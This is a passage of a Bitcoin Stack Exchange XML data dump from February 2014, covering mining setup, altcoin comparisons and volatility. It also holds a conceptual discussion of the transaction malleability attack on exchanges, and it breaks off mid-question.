  <row Id="22097" PostTypeId="2" ParentId="22067" CreationDate="2014-02-13T00:45:01.830" Score="4" Body="&lt;p&gt;Ripple uses substantially the same signature scheme as Bitcoin does and the server validates signatures similarly using OpenSSL. But Ripple doesn't require you to refer to previous transactions by ID to spend from them. So you can't prevent people from spending funds or jam their transaction chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ripple server will soon enforce fully canonical signatures on transactions and validations to ensure that no such attack is possible.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-13T00:45:01.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22099" PostTypeId="2" ParentId="21943" CreationDate="2014-02-13T00:54:19.550" Score="2" Body="&lt;p&gt;Technical differences&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Supports transaction messaging (short messages in the blockchain that can go with a transaction)&lt;/li&gt;&#xA;&lt;li&gt;Upcoming android app should be the first one to support transaction messaging.&lt;/li&gt;&#xA;&lt;li&gt;Retargets difficulty after every block so it has resistance to block processing when difficulty spikes due to multipool hopping&lt;/li&gt;&#xA;&lt;li&gt;Much faster transaction times.  Block target time is 1 minute.&lt;/li&gt;&#xA;&lt;li&gt;fluctuating mining rewards so coin production varies with seasons (gradual and sinusoidal in nature).  Some say this is meant to emulate boom and bust cycles by mimicking periods of abundance and scarcity.  &lt;/li&gt;&#xA;&lt;li&gt;2x and 5x Bonus payout days to keep things interesting for miners over the long term.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13417" LastActivityDate="2014-02-13T00:54:19.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22100" PostTypeId="2" ParentId="21769" CreationDate="2014-02-13T00:54:23.080" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The mining pool coordinates the workers. Think of it like a lottery. If you and your friends all buy tickets in the lottery the group has a better chance of winning. To be fair in the lottery example everyone should be rewarded proportional to the amount of money spent on tickets. So if there are 20 tickets for the pool one person purchased 10 and two people purchased 5 each - if one of the 20 tickets win the person who purchased 10 gets 50% and the other two get 25% each.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What a mining pool does is function as a coordinator for all the pool participants doing:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Taking the pool members hashes&lt;/li&gt;&#xA;  &lt;li&gt;Looking for block rewards&lt;/li&gt;&#xA;  &lt;li&gt;Recording how much work all the participants are doing&lt;/li&gt;&#xA;  &lt;li&gt;Assigning block rewards proportionally to participants&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Miners mine differently by running pool software instead of the bitcoin client and just performing hashes for the pool.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://captainaltcoin.com/what-is-pool-mining/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://captainaltcoin.com/what-is-pool-mining/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="51948" LastEditDate="2018-01-06T00:32:35.773" LastActivityDate="2018-01-06T00:32:35.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22102" PostTypeId="2" ParentId="22093" CreationDate="2014-02-13T03:17:11.127" Score="1" Body="&lt;p&gt;You have to set up port forwarding on your router so your bitcoin qt can receive requests. Then add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=1.1.1.1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your bitcoin.conf where the ip address is your buddy's IP.&lt;/p&gt;&#xA;" OwnerUserId="12690" LastActivityDate="2014-02-13T03:17:11.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22103" PostTypeId="2" ParentId="19056" CreationDate="2014-02-13T03:36:13.950" Score="2" Body="&lt;p&gt;&lt;strong&gt;Armory by default doesnt run Bitcoin-qt, it runs Bitcoind&lt;/strong&gt;. Since armory installs the entire Bitcoin reference client by default, Bitcoin-qt will be present regardless (you can try to delete it, though):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin-Qt is the “Graphical User Interface” around the core Bitcoin&#xA;  protocol that is run by the majority of nodes on the network. &#xA;  ”bitcoind” is the same software but without the user interface — it is&#xA;  simply a process that runs in the background and only allows access to&#xA;  it through its API.  For the purposes of running Armory, either one is&#xA;  sufficient, but one of them must be running and synchronized.  The&#xA;  latest version of Armory will run bitcoind for you in the background.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Armory/Bitcoind does need to download the entire blockchain&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Regardless of which one you use, it will download the entire&#xA;  blockchain&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source for both snips: &lt;a href=&quot;https://bitcoinarmory.com/about/armory-and-bitcoin-qt/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinarmory.com/about/armory-and-bitcoin-qt/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3381" LastActivityDate="2014-02-13T03:36:13.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22104" PostTypeId="1" CreationDate="2014-02-13T03:57:47.087" Score="10" ViewCount="636" Body="&lt;p&gt;I'm trying to understand the malleable transaction attack, as it seems to me that only a rather careless operator would be vulnerable in the first place, as described below.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Mainly to clarify my own thoughts, let me describe the attack as I understand it.  Dramatis personae: Alice is the attacker, and Bob is a &quot;banker&quot; (exchange operator, web wallet; someone who is holding coins on account for Alice.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alice&lt;/strong&gt;: Hi Bob, I have 1 BTC in my account and I'd like to withdraw it.  Please send it to address 1Alice1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bob&lt;/strong&gt;: Okay, I've generated a transaction, its hash is 123abc.  I've just posted it to the p2p network.  It spends output 3 of prior transaction 987def and sends 1 BTC to 1Alice1.  Your account has been debited for 1 BTC and your new balance is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alice&lt;/strong&gt;: Thanks, I see the transaction.   I'll wait for it to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Alice constructs a &quot;mutant&quot; transaction, with the same effect as 123abc; it still spends output 3 of 987def and sends 1 BTC to 1Alice1, and the signature still verifies, but the mutant has a different hash 456bca.  Somehow, Alice gets 456bca into the blockchain instead of 123abc.  Maybe she's just better connected on the p2p network than Bob is, or maybe she bribes Polly, a mining pool operator, to give priority to 456bca.  Since 123abc conflicts with 456bca, 123abc will never be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time passes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alice&lt;/strong&gt;: Hey Bob, remember that 1 BTC I was supposed to get?  The transaction never confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bob&lt;/strong&gt;: Let me check.  Yes, I see, there's no such transaction as 123abc in the blockchain.  Well, I guess you never got your coins; sorry about that.  I'll recredit your account; your new balance is 1 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alice&lt;/strong&gt;: Thanks.  Now that I have 1 BTC back in my account, I'd like to try again to withdraw it.  Send it to 1Alice2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bob&lt;/strong&gt;: Okay, I've generated a transaction, its hash is 246fed.  I've just posted it to the p2p network.  It spends output 7 of prior transaction 369dbc.  Your account has been debited and has balance 0 again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction 246fed is confirmed normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alice&lt;/strong&gt;: Gotcha, Bob!  Your original transaction went through after all, just in mutant form as 456bca.  Now I have both it and the new transaction, and I've just stolen 1 BTC from you.  Mwa ha ha!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bob&lt;/strong&gt;: Oh, woe is me!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, it seems to be that this attack requires some rather careless bookkeeping on Bob's part.  Even if Bob has no idea there is such a thing as a malleable transaction, he knows he generated 123abc and put it on the network, and for all he knows it is still floating around out there.  So I would think that before recrediting Alice's account, common sense should dictate that Bob ensure that 123abc cannot be confirmed at some future date, perhaps by making a new transaction (963dad) that spends the same input (trans 987def output 3) to one of his own addresses (1Bob1), and waiting for 963dad to confirm.  Of course, in the current scenario, 963dad never will confirm (because 456bca supersedes it), and Bob will eventually get tired of waiting and investigate further.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, alternatively, when Alice asks to withdraw 1 BTC for the second time, Bob's new transaction (678bbb) to Alice should again spend the same input (987def:3), ensuring that Alice can't somehow get 123abc confirmed later.  This foils the attack also, because 678bbb has been invalidated by 456bca.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, since Alice's mutant transaction 456bca did in fact spend Bob's input (987def:3), shouldn't Bob's client software inform him that this input is no longer available to him, and adjust his balance accordingly?  Bob apparently believes 123abc failed and so he still controls that input, and therefore this should throw his books out of balance and alert him that something is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the Bobs of the world have responded to the issue by complaining that &quot;malleable transactions&quot; are an obscure protocol bug that they couldn't have been expected to anticipate.  Whether that's true or not, it seems to me that in order to have been vulnerable, Bob's accounting practices already had to be negligent, so he really has no defense either way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if Bob saw the red flags but failed to understand the situation, and credited Alice's account anyway in the interests of customer service, it's still hard to feel much sympathy for him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this account essentially accurate, or have I missed some crucial details?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, and sorry for the length.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2017-07-23T23:50:51.447" Title="Wouldn't the &quot;malleable transaction&quot; attack be foiled by common sense?" Tags="|protocol|attack|transaction-malleability|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22106" PostTypeId="2" ParentId="22104" CreationDate="2014-02-13T05:20:09.577" Score="4" Body="&lt;p&gt;Whilst most of the process you describe is accurate, there are a few details where I believe your assumptions do not match reality, and may hence lead you to be (slightly) more critical of Bob than indeed deserved:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The fact that tx 123abc is known to the network does not necessarily mean Bob, even if unaware of 456bca, would have to fear 123abc could be respent. Somehow, his transactions have, after all, continued, which for a high transaction volume like a centralized wallet will typically mean that the unspent transaction 987def entering 123abc has meanwhile been otherwise spent (and confirmed). Bob can tell this even without investigating what transaction took the place of 123abc by just seeing any later transactions confirm. But of course the action  one would hope Bob to take, investigating what tx replaced 123abc (rather than albeit also naturally assuming only other valid tx could have been generated by his hot wallet software), should have prevented the fraud.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What with other reasons potentially preventing a transaction to go through----maybe you didn't include enough fees or were forming a transaction that peers otherwise didn't like enough to propagate or miners to include---it isn't unreasonable to have a hot wallet automatically resort to resynchronizing to what did get included in the blockchain, essentially double-spending the prior tx 987def such that at least other customers can be handled. Of course, proper handling would then internally flag this occurance, for manual handling of the failed transaction, which in this exploit by Alice would be absent and in an ideal process wold alert Bob that something was amiss.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In distributed systems, a common global state does not always exist. What must seem natural if there was, say, a one hour break in hot wallet operation, comparing actual Bitcoin balance and own acounting, isn't quite as trivial as that when the system is continually in the state of having many as yet unconfirmed transactions. That should not be an excuse because a well-designed audit and account reconciliation process should be able to deal with that, but, again, it is conceivable that a previously working less elaborate process can't deal with the issue of lots of not confirming transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I agree that in retrospect, Bob handled the situation rather poorly and not with the kind of diligence you would hope for from someone entrusted with others' bitcoins. But it is really hard to draw up processes, especially in a multi-people 24/7 operation, to deal with what a misconception makes you think of as utterly impossible. Bob may indeed have been operating with some kind of work-around process to deal with his hot wallet implementation not giving adequate logging of normally not propagating transactions.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-02-13T05:26:36.247" LastActivityDate="2014-02-13T05:26:36.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22108" PostTypeId="2" ParentId="20038" CreationDate="2014-02-13T06:01:09.627" Score="1" Body="&lt;p&gt;This could be a solution once released:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Add -zapwallettx function, a diagnostic tool to assist in wallet repair&quot; - &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3659&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/3659&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13426" LastActivityDate="2014-02-13T06:01:09.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22110" PostTypeId="1" CreationDate="2014-02-13T08:02:06.577" Score="6" ViewCount="258" Body="&lt;p&gt;Discussions of Bitcoin as the potential basis for a future global monetary system often point to the currency's price volatility as a shortcoming. Fiat currencies, by comparison, are (mostly) a lot less volatile. My question is whether an economy that relies on a low-volatility currency is actually preferable to one that is agnostic to currency volatility. The latter strikes me as more robust.&lt;/p&gt;&#xA;" OwnerDisplayName="user4581" LastEditorUserId="5406" LastEditDate="2022-09-20T15:15:14.283" LastActivityDate="2022-09-20T15:15:14.283" Title="Is price volatility necessarily a bad thing?" Tags="|exchange-rate|economic-theory|price-volatility|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22111" PostTypeId="1" CreationDate="2014-02-13T08:08:09.360" Score="2" ViewCount="1688" Body="&lt;p&gt;If there too many types of such kind of currency, will them be very cheap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 4 BTC and since the current BTC price waves a lot, I am wondering this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="9009" LastEditorUserId="5406" LastEditDate="2014-03-08T23:48:40.597" LastActivityDate="2014-03-08T23:48:40.597" Title="Why is Bitcoin better than other cryptocurrency?" Tags="|currencies|altcoin|cryptography|" AnswerCount="3" CommentCount="0" ClosedDate="2014-02-21T13:33:37.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="22112" PostTypeId="1" CreationDate="2014-02-13T08:23:27.820" Score="2" ViewCount="197" Body="&lt;p&gt;I read this post on this site:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17582/who-are-creating-all-the-alternate-cryptocurrencies&quot;&gt;Who are creating all the alternate cryptocurrencies?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In it, there is a answer saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An article about a month ago was written about the owners of Bitcoin&#xA;  and we know that 47 people owned about 1/4 of the Bitcoins and 927&#xA;  owned over 50%.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am quite curious, how do the people know who owns how much? What if the owners are lying?&lt;/p&gt;&#xA;" OwnerUserId="9009" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-02-14T12:36:56.807" Title="How do people know that less than 1000 people own 50% of all bitcoins?" Tags="|economic-theory|wealth-distribution|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22114" PostTypeId="1" CreationDate="2014-02-13T10:10:25.437" Score="0" ViewCount="2055" Body="&lt;p&gt;I'm trying with (below my sh file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export DISPLAY=:0&#xA;export GPU_MAX_ALLOC_PERCENT=100&#xA;export GPU_USE_SYNC_OBJECTS=1&#xA;cd /home/x/cgminer-3.7.2-kalroth/&#xA;find *.bin -delete&#xA;sleep 3&#xA;&#xA;cgminer --scrypt -o stratum+tcp://stratum.fast-pool.com:3333 -u user.x -p pass --thread-concurrency 24550 --lookup-gap 2 --auto-gpu --gpu-engine 950 --gpu-memclock 1250 -w 512 -I 20 --gpu-powertune 20 --auto-fan --gpu-fan 40-100 --temp-overheat 90 --temp-target 85 --temp-cutoff 95 -g 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me average ~660 kh :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying also with config from GUI miner for windows called &quot;R9 290 high&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer --scrypt -o stratum+tcp://stratum.fast-pool.com:3333 -u user.x -p pass --thread-concurrency 32765 --lookup-gap 2 --auto-gpu --gpu-engine 950 --gpu-memclock 1250 -w 256 -I 20 --gpu-powertune 20 --auto-fan --gpu-fan 40-100 --temp-overheat 80 --temp-target 75 --temp-cutoff 85 -g 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it gives e something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2014-02-13 11:00:29] Started cgminer 3.7.2&#xA; [2014-02-13 11:00:29] Started cgminer 3.7.2&#xA; [2014-02-13 11:00:29] Probing for an alive pool&#xA; [2014-02-13 11:00:29] Pool 0 difficulty changed to 128&#xA; [2014-02-13 11:00:34] Maximum buffer memory device 0 supports says 774897664&#xA; [2014-02-13 11:00:34] Your scrypt settings come to 2147287040&#xA; [2014-02-13 11:00:34] Error -61: clCreateBuffer (padbuffer8), decrease TC or increase LG&#xA; [2014-02-13 11:00:34] Failed to init GPU thread 0, disabling device 0&#xA; [2014-02-13 11:00:34] Restarting the GPU from the menu will not fix this.&#xA; [2014-02-13 11:00:34] Try restarting cgminer.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above configs works fine (better hashrate) on windows 7 64, but i prefer to use ubuntu beacause windows is unstable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed latest catalyst, sdk ofcourse.&lt;/p&gt;&#xA;" OwnerUserId="13431" LastActivityDate="2014-06-17T15:41:10.920" Title="Low hashrate with cgminer 3.7.2 kalroth edition @ ubuntu 13.10 x64 @ R9 290 MSI GAMING EDITION @ 16 gb ram @ core i7 860" Tags="|litecoin|cgminer|ubuntu|scrypt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22115" PostTypeId="1" AcceptedAnswerId="22124" CreationDate="2014-02-13T10:36:19.630" Score="11" ViewCount="14088" Body="&lt;p&gt;The site does not have a download option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can save the page using Google Crome by CTR-S, but the version I have saved in this way does not work.&lt;/p&gt;&#xA;" OwnerUserId="13433" LastEditorUserId="13440" LastEditDate="2014-02-13T18:46:47.833" LastActivityDate="2024-02-18T02:13:32.287" Title="How to download bitaddress.org to use offline?" Tags="|security|offline|bitaddress.org|bip38|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22118" PostTypeId="1" CreationDate="2014-02-13T11:42:02.150" Score="1" ViewCount="444" Body="&lt;p&gt;Im planing to set up a small energy efficient mining rig, im planing to use a low power CPU/MOBO bundle, this is my favorite: Biostar A68I-350 (with 1 DIMM DDR3 4Gb)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes only 18W TDP and has one PCI-E 16x for a HD7950. The total Wattage is (considering the usage of a 80+ GOLD PSU) lower than 300&amp;lt; Watt. The KHash/s rate will be 640-650.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much can the CPU be the cause of a BottleNeck?&lt;/p&gt;&#xA;" OwnerUserId="13430" LastEditorUserId="5406" LastEditDate="2016-04-25T20:28:37.520" LastActivityDate="2016-04-25T20:28:37.520" Title="CPU bottleneck and Scrypt mining?" Tags="|litecoin|mining-hardware|mining-setup|scrypt|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22119" PostTypeId="2" ParentId="22110" CreationDate="2014-02-13T12:13:17.283" Score="1" Body="&lt;p&gt;Volatility has two sides of course, an upside (commodity or currency increasing in purchasing power) and a downside (decreasing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you invest in something as a store of value, you're always going to appreciate when it gains value as you hold it and dislike when it loses value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Before&lt;/em&gt; you invest (EG, you have another money you're about to use to purchase it) you like when the price comes down so that you can get more of it (with the expectation of going back up again once you have it) and you dislike when the price shoots up prior to your purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is &lt;em&gt;always&lt;/em&gt; a bad idea to price loans and contracts in a volatile currency, however. Since each party would be in a position to hope for an opposite swing direction, one party would always be inconvenienced by a change in value. Since loans and contracts are designed to offer joint utility, you don't want one party suffering or resenting the other party for their perceived unjust lucky gains: people would just avoid such contracts instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today it is common to price items in USD then allow for spot payment in Bitcoin, for example, or to loan out money or establish contracts denominated in USD with sides paid by Bitcoin spot value. EG, I borrow $100usd from you today when Bitcoin is, say $100usd/BTC so you give me 1BTC. I pay you back later $110usd (principal + interest) but Bitcoin is in a dip when the contract matures so at $90usd/BTC I have to pay you back 1.222BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, while it is nice that Bitcoin appears to be on a long term up-trend, it's shorter-term volatility makes investments and contracts that can't hold out for the duration required to &quot;get to the moon&quot; much riskier and more difficult. Most Bitcoin-related business (including merchants, arbitrage, obtaining BTC and then holding to pay off payroll or suppliers and avoid paying multiple interchange fees) require maintaining balances in BTC over time and those balances may ebb or flow. Again, if you receive BTC on a rise (customer pays you; hey they get to choose the timing!) and have to pay it during a dip (regular payroll, running lower on parts than you can afford to wait for an upswing) then you are experiencing a significant capitol loss.&lt;/p&gt;&#xA;" OwnerUserId="2140" LastActivityDate="2014-02-13T12:13:17.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22120" PostTypeId="2" ParentId="22111" CreationDate="2014-02-13T13:26:41.213" Score="-1" Body="&lt;p&gt;Depends on your meaning of &quot;better&quot;, which in turn depends on your intended use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For micro-payments, given a single bitcoin's value, it's mostly useless. Any of the new, tiny crypto-currencies would be much better for that - actually Dogecoin seems to be specializing into this role given it's the minor crypto with the most trading volume.&lt;/li&gt;&#xA;&lt;li&gt;As a store of value for your life savings Bitcoin is very useful as in the long run it tends to appreciate - even though in the short term you might get a hard blow should you need to take out some of your money when value's down a big notch, as is happening at the time I'm writing.&lt;/li&gt;&#xA;&lt;li&gt;To pay for small stuff without too much risk for the vendor, Litecoin is the single most useful as it allows vendors to get a couple confirmations in a couple minutes, nullifying the risk due to transaction malleability and reducing the risk for double-spending. Furthermore, it already has services in place for vendors willing to accept it.&lt;/li&gt;&#xA;&lt;li&gt;As a bragging item a 42coin might be better, given the value of a single coin (more than 100 bitcoins as of now - yes, you read that right). Be warned, though, after the mega-hype at its launch (reaching briefly +850BTC per 42coin) it's only gone down, down, down from there...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(post-edit expansion)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why Bitcoin is not useful for micropayments, as-is?&#xA;1 satoshi = (aprox) USD $0.0000065 so theoretically you could send a micropayment in just satoshis. But then very few miners would include such a transaction without a fee, so you'd end up paying dozens or even hundreds of times the original amount in fees just to ensure it's included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, the standard client asks for a minimum of 5000 satoshis to be sent, so that sets a hard limit of US 3.25 as a lower limit to be sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 DOGE = USD $0.0013 and the transaction fees are usually between 1 cent and 10 cents. So I can send 0.1 US cents to someone and pay no more than 0.01 US cents in fees - and given it can use up to 8 decimals, just like bitcoin, I can actually send much lower micropayments. Plus, given the small amount of permanent inflation of Dogecoin, it's very probable its value will remain low vs. fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for usefulness for low-end sellers vs. that of Litecoin, in 6 minutes a merchant accepting Litecoin gets 6 confirmations, equivalent to a level of security of 2 confirmations in the Bitcoin network in a third the time with no extra effort from the merchant. For the good or the bad, it seems Litecoin will have its niche market in that.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="4748" LastEditDate="2014-02-14T16:45:58.580" LastActivityDate="2014-02-14T16:45:58.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22121" PostTypeId="2" ParentId="21695" CreationDate="2014-02-13T13:33:11.590" Score="0" Body="&lt;p&gt;It is because you're trying to mine bitcoins with Litecoin (scrypt) algorithm.&lt;/p&gt;&#xA;" OwnerUserId="13437" LastEditorUserId="5406" LastEditDate="2014-02-13T14:30:22.300" LastActivityDate="2014-02-13T14:30:22.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22122" PostTypeId="1" CreationDate="2014-02-13T13:36:22.047" Score="1" ViewCount="172" Body="&lt;p&gt;I'd like to authenticate from java code on a website that makes use of javascript/ajax authentication like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var key = new Bitcoin.ECKey(Crypto.util.hexToBytes(SHA256(password)));&#xA;var signed_challenge = Crypto.util.bytesToHex(key.sign(Crypto.util.hexToBytes(SHA256(challenge_key))));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that the library &lt;code&gt;bitcoinj&lt;/code&gt; offers classes like &lt;code&gt;ECKey&lt;/code&gt;, but I don't know what I might use as replacement for &lt;code&gt;CryptoJS&lt;/code&gt; here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you could help me translating the JS to Java?&lt;/p&gt;&#xA;" OwnerUserId="13436" LastEditorUserId="13436" LastEditDate="2014-02-13T19:03:23.770" LastActivityDate="2014-02-13T19:03:23.770" Title="How to use Bitcoinj to authenticate signed messages?" Tags="|java|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22124" PostTypeId="2" ParentId="22115" CreationDate="2014-02-13T14:16:46.457" Score="9" Body="&lt;p&gt;Update 2024 (10 years later):&lt;/p&gt;&#xA;&lt;p&gt;bitaddress.org has not changed in 8 years and may contain bugs &amp;amp; outdated tech such as BIP38 encryption.&lt;/p&gt;&#xA;&lt;p&gt;Instead, I recommend to use a modern BIP39 tool with a very good track record such as this:&#xA;&lt;a href=&quot;https://github.com/iancoleman/bip39&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/iancoleman/bip39&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You should do your research and ensure that you create the wallet on an offline system which is also (ideally) stateless like &lt;a href=&quot;https://tails.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TailsOS&lt;/a&gt;.  This will minimize (but not eliminate) the chances of malware being able to affect your wallets.&lt;/p&gt;&#xA;&lt;p&gt;Once you have the downloaded files in a secure environment, ensure you properly check the gpg signature before loading the html file into a browser and using it to generate a paper wallet.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Paper wallets generated in a browser may be fun and free, but they present many security risks, not least from the computer you are using.  Instead: consider using an Open Source mobile app or, if securing larger amounts, get a hardware wallet.&lt;/p&gt;&#xA;" OwnerUserId="13440" LastEditorUserId="13440" LastEditDate="2024-02-18T02:13:32.287" LastActivityDate="2024-02-18T02:13:32.287" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22126" PostTypeId="1" AcceptedAnswerId="22145" CreationDate="2014-02-13T14:45:21.750" Score="12" ViewCount="704" Body="&lt;p&gt;Sipa lists sources of tx malleability here: &lt;a href=&quot;https://gist.github.com/sipa/8907691&quot;&gt;https://gist.github.com/sipa/8907691&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is clear to me how a change in the signature itself &lt;em&gt;or the signature formating&lt;/em&gt; leads to a different tx hash (1. &amp;amp; 2.). But why is it &lt;em&gt;allowed&lt;/em&gt; to modify &lt;em&gt;the rest (may be &quot;&quot;) of the scripts&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand only the txin script can be modified because the txout scripts are included in the signature hash(es). Obviously the signature itself can not be included in the signed hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each signature the corresponding txin script is replaced by the appropriate previous output script (?) and all other txin scripts in the tx are removed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the txin script (without signature, &lt;em&gt;so it is an empty string for a standard tx&lt;/em&gt;) not included in the hashed and signed data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Please correct me if I got something 